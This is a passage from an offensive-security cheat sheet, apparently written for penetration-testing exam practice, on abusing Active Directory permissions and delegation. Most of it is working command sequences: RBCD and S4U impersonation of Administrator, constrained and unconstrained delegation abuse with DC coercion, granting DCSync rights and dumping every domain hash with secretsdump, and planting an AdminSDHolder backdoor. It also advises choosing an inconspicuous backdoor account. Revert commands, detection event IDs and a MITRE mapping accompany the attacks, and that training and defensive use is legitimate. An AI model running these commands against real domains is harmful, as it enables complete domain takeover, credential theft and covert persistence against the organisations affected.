equivalents for steps 1–2 497 addcomputer.py -computer-name 'ATTACKER$' -computer-pass '$Passw0rd123' -dc-ip "$IP" "$DOMAIN"/"$U":"$P" 498 rbcd.py -delegate-from 'ATTACKER$' -delegate-to 'TARGET$' -action write -dc-ip "$IP" "$DOMAIN"/"$U":"$P" 499 rbcd.py -delegate-to 'TARGET$' -action read -dc-ip "$IP" "$DOMAIN"/"$U":"$P" # verify 500 rbcd.py -delegate-to 'TARGET$' -action flush -dc-ip "$IP" "$DOMAIN"/"$U":"$P" # cleanup 501 ``` 502 503 ```powershell 504 # PowerView / StandIn from a Windows foothold 505 $ComputerSid = Get-DomainComputer ATTACKER -Properties objectsid | Select -Expand objectsid 506 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" 507 $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0) 508 Set-DomainObject -Identity 'TARGET$' -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} 509 # StandIn one-liner: .\StandIn.exe --rbcd TARGET$ --sid ATTACKER$ 510 # then: .\Rubeus.exe s4u /user:ATTACKER$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/target.$DOMAIN /ptt 511 ``` 512 513 #### Constrained delegation (S4U2Proxy) 514 515 **What to look for:** an account with `msDS-AllowedToDelegateTo` populated whose creds you hold — or GenericWrite on it so you *create* the condition. 516 517 **Exploit:** 518 519 ```bash 520 # I already control the delegation account → straight S4U impersonation 521 getST.py -spn CIFS/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP" 522 523 # create the condition myself (GenericWrite on svc_web): flag it + set the target SPN 524 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac svc_web -f TRUSTED_TO_AUTH_FOR_DELEGATION 525 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" set object svc_web msDS-AllowedToDelegateTo -v 'CIFS/'"$DC" 526 getST.py -spn cifs/"$DC" -impersonate Administrator "$DOMAIN"/svc_web:'SvcPass1!' -dc-ip "$IP" 527 ``` 528 529 > [!tip] /altservice pivot 530 > `msDS-AllowedToDelegateTo` only lists `CIFS/DC`? The service name isn't integrity-protected in the ticket — request `LDAP/HOST/HTTP` on the same host. Rubeus: `s4u /user:svc_web /rc4:<hash> /impersonateuser:Administrator /msdsspn:CIFS/DC /altservice:LDAP/DC /ptt` → then DCSync via that LDAP ticket. 531 532 #### Unconstrained delegation 533 534 **What to look for:** a non-DC computer with `TRUSTED_FOR_DELEGATION`. Coerce a DC to auth to it, capture the DC TGT. If I hold GenericWrite on a computer I can *set* the flag. 535 536 ```bash 537 # set the flag (then coerce a DC and capture its TGT with Rubeus monitor / krbrelayx) 538 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" add uac 'TARGET$' -f TRUSTED_FOR_DELEGATION 539 # coerce (Linux): 540 printerbug.py "$DOMAIN"/"$U":"$P"@"$DC" target."$DOMAIN" 541 ``` 542 543 > [!warning] Watch out 544 > RBCD/constrained fail if the impersonated user is in **Protected Users** or flagged sensitive — target a different DA (or chain Bronze Bit). Set MAQ to `0` kills the RBCD computer-creation path. Reverse **every** delegation write: `remove rbcd`, `remove uac … -f TRUSTED_*`, delete `ATTACKER$`. Delegation flips fire 5136/4741; S4U2Proxy fires 4769. Deep dives: 🟠 Attack · 🟠 Attack · 🟠 Attack. 545 546 --- 547 548 ### AdminSDHolder persistence (post-DA) 549 550 **What to look for:** once I hold DA (or WriteDacl on `CN=AdminSDHolder`), plant a backdoor ACE. SDProp propagates it to **every** protected object every 60 min — self-healing even if blue team strips it off individual objects. 551 552 ```bash 553 dacledit.py -action write -rights FullControl -principal backdoor_user \ 554 -target-dn "CN=AdminSDHolder,CN=System,DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" \ 555 "$DOMAIN"/Administrator:"$P" -dc-ip "$IP" 556 # PowerView: Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' -PrincipalIdentity backdoor_user -Rights All 557 ``` 558 559 > [!warning] Watch out 560 > This is **persistence, not escalation** — needs DA first. Any AdminSDHolder change is exceptionally rare and a critical-severity alert (5136/4780); SDProp also stamps `adminCount=1` on affected users, a queryable IOC. Use a plausible service account as the backdoor principal, not an obvious one. Deep dive: 🟡 Attack. 561 562 --- 563 564 ### 📬 Exchange Windows Permissions → DCSync (group shortcut) 565 566 **What to look for** → membership in **Exchange Windows Permissions**. After most Exchange installs this group holds **WriteDACL on the domain root** — a legacy misconfig that is a one-step path to DCSync (the classic Monteverde-style finish). 567 568 **Exploit** 569 ```bash 570 # grant yourself DCSync via the group's WriteDACL, then replicate 571 dacledit.py -action write -rights DCSync -principal "$U" \ 572 -target-dn "DC=${DOMAIN%%.*},DC=${DOMAIN#*.}" "$DOMAIN"/"$U":"$P" -dc-ip $IP 573 secretsdump.py "$DOMAIN"/"$U":"$P"@$IP -just-dc 574 # bloodyAD equivalent: 575 bloodyAD -d "$DOMAIN" -u "$U" -p "$P" --host $DC add dcsync "$U" 576 ``` 577 > [!warning] Watch out 578 > Same OPSEC as any WriteDacl→DCSync (fires 4662/5136) — `remove dcsync` after dumping. Deep dive: 🟣 Attack. 579 580 --- 581 582 ## Automate the whole path (autobloody) 583 584 When BloodHound draws a clean multi-hop chain of **writable** edges, don't walk it by hand — let [autobloody](https://github.com/CravateRouge/autobloody) compute the cheapest route in Neo4j and fire each edge through bloodyAD: 585 586 ```bash 587 autobloody -d "$DOMAIN" -u "$U" -p "$P" --host "$DC" -dp 'neo4jpass' \ 588 -ds 'YOU@'"${DOMAIN^^}" -dt 'DOMAIN ADMINS@'"${DOMAIN^^}" -v 589 ``` 590 591 > [!warning] Watch out 592 > Rollback is **automatic but partial** — it reverses group adds / DACL grants / shadow-cred links but leaves `ForceChangePassword` and `setOwner` in place. Review the path before `-y`: if the cheapest route runs through a real account's password reset, that reset is permanent. Labels are case-sensitive UPPERCASE `NAME@DOMAIN`. Cross a non-writable edge (`AdminTo`, `HasSession`, `CanRDP`) and it stops — bridge by hand and re-run. Full flag reference: Autobloody. 593 594 --- 595 596 ## 🛡️ OPSEC & detection — snapshot, revert, expect the alert 597 598 **Rule zero: snapshot the security descriptor BEFORE any write.** Every revert below assumes you have the original. 599 600 ```bash 601 # snapshot a target's SD (Impacket) — writes a .bak you can restore byte-for-byte 602 dacledit.py -action backup -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP" 603 dacledit.py -action restore -file dacledit-*.bak -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP" 604 ``` 605 606 ```powershell 607 # PowerShell snapshot (export the SDDL string) 608 (Get-DomainObjectAcl -Identity victim | ConvertTo-Json) | Out-File sd_backup.json 609 (Get-ADObject victim -Properties nTSecurityDescriptor).nTSecurityDescriptor.Sddl | Out-File sd_backup.txt 610 ``` 611 612 **Revert table — every attack has an undo:** 613 614 | Abuse performed | Revert command(s) | 615 | :-- | :-- | 616 | Owner changed | `bloodyAD set owner victim <original>` / `owneredit.py -action write -new-owner <original>` | 617 | GenericAll/DCSync granted | `bloodyAD remove genericAll victim "$U"` · `remove dcsync "$U"` · or `dacledit.py -action restore` | 618 | Shadow Credentials added | `bloodyAD remove shadowCredentials victim` / `pywhisker.py --action remove --device-id <id>` / `Whisker.exe remove` | 619 | SPN planted (roast) | `bloodyAD set object victim servicePrincipalName` (clear) / `StandIn --remove spn` | 620 | UAC flag flipped | `bloodyAD remove uac victim -f <FLAG>` | 621 | scriptPath set | `bloodyAD set object victim scriptPath` (clear) | 622 | Group membership added | `bloodyAD remove groupMember <group> "$U"` / `net group … /del /domain` | 623 | RBCD set | `bloodyAD remove rbcd 'TARGET$' 'ATTACKER$'` / `rbcd.py -action flush` + delete `ATTACKER$` | 624 | Password reset | Cannot undo cryptographically — reset to an agreed value with the client; prefer shadow creds to avoid this entirely | 625 626 **Event IDs to expect (DC security log):** 627 628 | Event ID | Fires on | Which abuse | 629 | :-- | :-- | :-- | 630 | 4662 | Object access (replication GUIDs, attribute reads/writes) | DCSync, LAPS/gMSA reads (if SACL set) | 631 | 5136 | Directory object modified | DACL/owner changes, SPN/UAC/scriptPath/KeyCredential writes | 632 | 5137 | Directory object created | `addcomputer.py` / `bloodyAD add computer` | 633 | 4670 | Permissions changed | Owner/DACL edits (if audited) | 634 | 4724 | Password reset by admin/right | ForceChangePassword abuse | 635 | 4728 / 4732 / 4756 | Member added to global / local / universal group | AddMember abuse (DA = 4728) | 636 | 4738 | User account changed | UAC flips, password sets | 637 | 4768 / 4769 | TGT / TGS requests | Shadow-cred PKINIT, S4U chains, roast requests | 638 | 1644 | Expensive LDAP search | Noisy `Find-InterestingDomainAcl`-style sweeps | 639 640 > [!warning] Reads quiet, writes loud — pick accordingly 641 > LAPS/gMSA reads and most `get object`/`find` enumeration touch nothing durable and rarely trip SACLs. Every *write* above (5136/5137) is the detection surface. If two paths reach the same objective — e.g. GenericAll on a user — prefer shadow creds (one attribute write, reversible) over password reset (4724 + broken logon). Use `-s` (LDAPS) for bloodyAD writes so the change isn't on the wire in cleartext. 642 643 > [!tip] CPTS exam tips 644 > - **Re-enumerate after every group add** — inherited rights (e.g. Service Accounts → GenericWrite over svc accounts) only appear on the next graph refresh; bloodyAD's per-call auth picks them up live. 645 > - RBCD is the exam's favourite GenericAll-on-computer finish; if MAQ is 0, shadow-cred the machine account instead (no new object needed). 646 > - Targeted Kerberoast needs **no ADCS** — when there's no CA in scope, it's your GenericWrite answer. 647 > - If a "writable" edge fails with `insufficient access`, check you're hitting the right DC (use `--host "$DC"` FQDN) and that the edge isn't stale — re-read with `--resolve-sd`. 648 > - Cross-links: [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) (roast/AS-REP fundamentals) · [Stage 07 — ADCS](/sheets/pentest-workflow/adcs-and-certificate-abuse) (shadow creds tail, ESC paths) · [Stage 08 — Password Attacks](/sheets/pentest-workflow/password-attacks-and-credential-hunting) (cracking the roasted hashes) · [Stage 10 — Lateral Movement](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) (spending DCSync output) · [Stage — Domain Trusts](/sheets/pentest-workflow/domain-trusts-and-cross-forest) (SIDHistory/foreign ACE edges). 649 650 --- 651 652 ## 🧭 Decision flow — edge in hand, what's the quietest kill? 653 654 <figure class="flow plate corners"> 655 <figcaption class="flow__cap"><span class="flow__kind">Quietest kill decision</span><span class="flow__dir">TD</span></figcaption> 656 <div class="flow__body"> 657 <svg class="flow-svg" viewBox="0 0 1265 616" role="img" aria-label="Decision tree from a writable edge, branching by target type into the quietest takeover, then reverting every write"> 658 <path class="fedge" d="M630,106 L630,178" marker-end="url(#flow-arrow)" /> 659 <path class="fedge" d="M630,226 L220,298" marker-end="url(#flow-arrow)" /> 660 <path class="fedge" d="M630,226 L640,298" marker-end="url(#flow-arrow)" /> 661 <path class="fedge" d="M630,226 L940,298" marker-end="url(#flow-arrow)" /> 662 <path class="fedge" d="M630,226 L1140,298" marker-end="url(#flow-arrow)" /> 663 <path class="fedge" d="M220,346 L120,418" marker-end="url(#flow-arrow)" /> 664 <path class="fedge" d="M220,346 L320,418" marker-end="url(#flow-arrow)" /> 665 <path class="fedge" d="M640,346 L540,418" marker-end="url(#flow-arrow)" /> 666 <path class="fedge" d="M640,346 L740,418" marker-end="url(#flow-arrow)" /> 667 <path class="fedge" d="M120,466 L555,538" marker-end="url(#flow-arrow)" /> 668 <path class="fedge" d="M320,466 L585,538" marker-end="url(#flow-arrow)" /> 669 <path class="fedge" d="M540,466 L615,538" marker-end="url(#flow-arrow)" /> 670 <path class="fedge" d="M740,466 L645,538" marker-end="url(#flow-arrow)" /> 671 <path class="fedge" d="M940,346 L940,502 L675,502 L675,538" marker-end="url(#flow-arrow)" /> 672 <path class="fedge" d="M1140,346 L1140,518 L705,518 L705,538" marker-end="url(#flow-arrow)" /> 673 <g class="fnode is-entry"><rect class="fnode__box" x="545" y="58" width="170" height="48" /><text class="fnode__label" x="630" y="86" text-anchor="middle">Writable edge found</text></g> 674 <g class="fnode is-decision"><rect class="fnode__box" x="545" y="178" width="170" height="48" /><text class="fnode__label" x="630" y="206" text-anchor="middle">Target type?</text></g> 675 <g class="fnode is-decision"><rect class="fnode__box" x="135" y="298" width="170" height="48" /><text class="fnode__label" x="220" y="326" text-anchor="middle">PKINIT / ADCS present?</text></g> 676 <g class="fnode is-decision"><rect class="fnode__box" x="555" y="298" width="170" height="48" /><text class="fnode__label" x="640" y="326" text-anchor="middle">MAQ > 0?</text></g> 677 <g class="fnode"><rect class="fnode__box" x="855" y="298" width="170" height="48" /><text class="fnode__label" x="940" y="319" text-anchor="middle">AddMember → inherit rights<tspan class="sub" x="940" dy="15">re-enumerate</tspan></text></g> 678 <g class="fnode"><rect class="fnode__box" x="1055" y="298" width="170" height="48" /><text class="fnode__label" x="1140" y="319" text-anchor="middle">WriteDacl → grant DCSync<tspan class="sub" x="1140" dy="15">secretsdump → remove</tspan></text></g> 679 <g class="fnode"><rect class="fnode__box" x="35" y="418" width="170" height="48" /><text class="fnode__label" x="120" y="439" text-anchor="middle">Shadow Credentials<tspan class="sub" x="120" dy="15">no password touch</tspan></text></g> 680 <g class="fnode"><rect class="fnode__box" x="235" y="418" width="170" height="48" /><text class="fnode__label" x="320" y="439" text-anchor="middle">Targeted Kerberoast<tspan class="sub" x="320" dy="15">plant SPN, roast, remove</tspan></text></g> 681 <g class="fnode"><rect class="fnode__box" x="455" y="418" width="170" height="48" /><text class="fnode__label" x="540" y="446" text-anchor="middle">RBCD → S4U → local admin</text></g> 682 <g class="fnode"><rect class="fnode__box" x="655" y="418" width="170" height="48" /><text class="fnode__label" x="740" y="446" text-anchor="middle">Shadow creds on MACHINE$</text></g> 683 <g class="fnode"><rect class="fnode__box" x="545" y="538" width="170" height="48" /><text class="fnode__label" x="630" y="559" text-anchor="middle">Revert every write<tspan class="sub" x="630" dy="15">per OPSEC table</tspan></text></g> 684 <g class="felabel"><rect class="felabel__box" x="406" y="254" width="37" height="16" /><text class="felabel__text" x="425" y="265" text-anchor="middle">User</text></g> 685 <g class="felabel"><rect class="felabel__box" x="604" y="254" width="62" height="16" /><text class="felabel__text" x="635" y="265" text-anchor="middle">Computer</text></g> 686 <g class="felabel"><rect class="felabel__box" x="763" y="254" width="43" height="16" /><text class="felabel__text" x="785" y="265" text-anchor="middle">Group</text></g> 687 <g class="felabel"><rect class="felabel__box" x="844" y="254" width="81" height="16" /><text class="felabel__text" x="885" y="265" text-anchor="middle">Domain root</text></g> 688 <g class="felabel"><rect class="felabel__box" x="154" y="374" width="31" height="16" /><text class="felabel__text" x="170" y="385" text-anchor="middle">Yes</text></g> 689 <g class="felabel"><rect class="felabel__box" x="257" y="374" width="25" height="16" /><text class="felabel__text" x="270" y="385" text-anchor="middle">No</text></g> 690 <g class="felabel"><rect class="felabel__box" x="574" y="374" width="31" height="16" /><text class="felabel__text" x="590" y="385" text-anchor="middle">Yes</text></g> 691 <g class="felabel"><rect class="felabel__box" x="677" y="374" width="25" height="16" /><text class="felabel__text" x="690" y="385" text-anchor="middle">No</text></g> 692 </svg> 693 </div> 694 </figure> 695 696 ## 🎯 MITRE ATT&CK mapping 697 698 | Technique | ID | Where used here | 699 | :-- | :-- | :-- | 700 | Account Manipulation | T1098 | Group adds, UAC flips, SPN plants | 701 | — Additional Cloud/Domain Credentials | T1098.001 | Shadow Credentials (KeyCredentialLink) | 702 | Abuse Elevation Control Mechanism | T1548 | RBCD / delegation abuse (S4U) | 703 | DCSync | T1003.006 | DS-Replication rights abuse, secretsdump | 704 | Kerberoasting | T1558.003 | Targeted Kerberoast via GenericWrite | 705 | AS-REP Roasting | T1558.004 | DONT_REQ_PREAUTH flip | 706 | Steal or Forge Kerberos Tickets | T1558 | S4U2Self/Proxy ticket requests | 707 | Exploitation for Credential Access | T1212 | Password reset via ForceChangePassword | 708 | OS Credential Dumping | T1003 | LAPS/gMSA reads, post-DCSync | 709 | Account Discovery / Permission Groups | T1087 / T1069 | ACL enumeration (PowerView, BloodHound) | 710 | Modify Authentication Process (AdminSDHolder) | T1556 | AdminSDHolder backdoor persistence | 711 712 > [!failure] Common pitfalls (burned boxes teach these) 713 > - **Forgot `-s`/LDAPS** → write visible on the wire; some DCs now *require* LDAPS for attribute writes (LDAP signing/channel binding enforcement). 714 > - **Shadow creds against the IP, not FQDN** → PKINIT fails; always `--host "$DC"`. 715 > - **Cleaned the SPN before the TGS arrived** → roast hash worthless. Request first, remove second. 716 > - **Added self to a group, then reused an old TGT** → new rights not in the PAC. Purge and re-request. 717 > - **WriteOwner on an adminCount=1 object** → SDProp reverts your DACL grant in ≤60 min; move fast or go AdminSDHolder. 718 > - **Left `ATTACKER$` behind** → 4741/5137 + an obvious machine account; delete it. 719 > - **Trusted the graph blindly** → edge was stale; always `--resolve-sd` before the write. 720 721 --- 722 723 > [!navigation] Continue the attack flow 724 > **Previous:** [Stage 05 — Kerberos Attacks](/sheets/pentest-workflow/kerberos-attacks) 725 > 726 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 727 > 728 > **Next:** [Stage 07 — ADCS and Certificate Abuse](/sheets/pentest-workflow/adcs-and-certificate-abuse)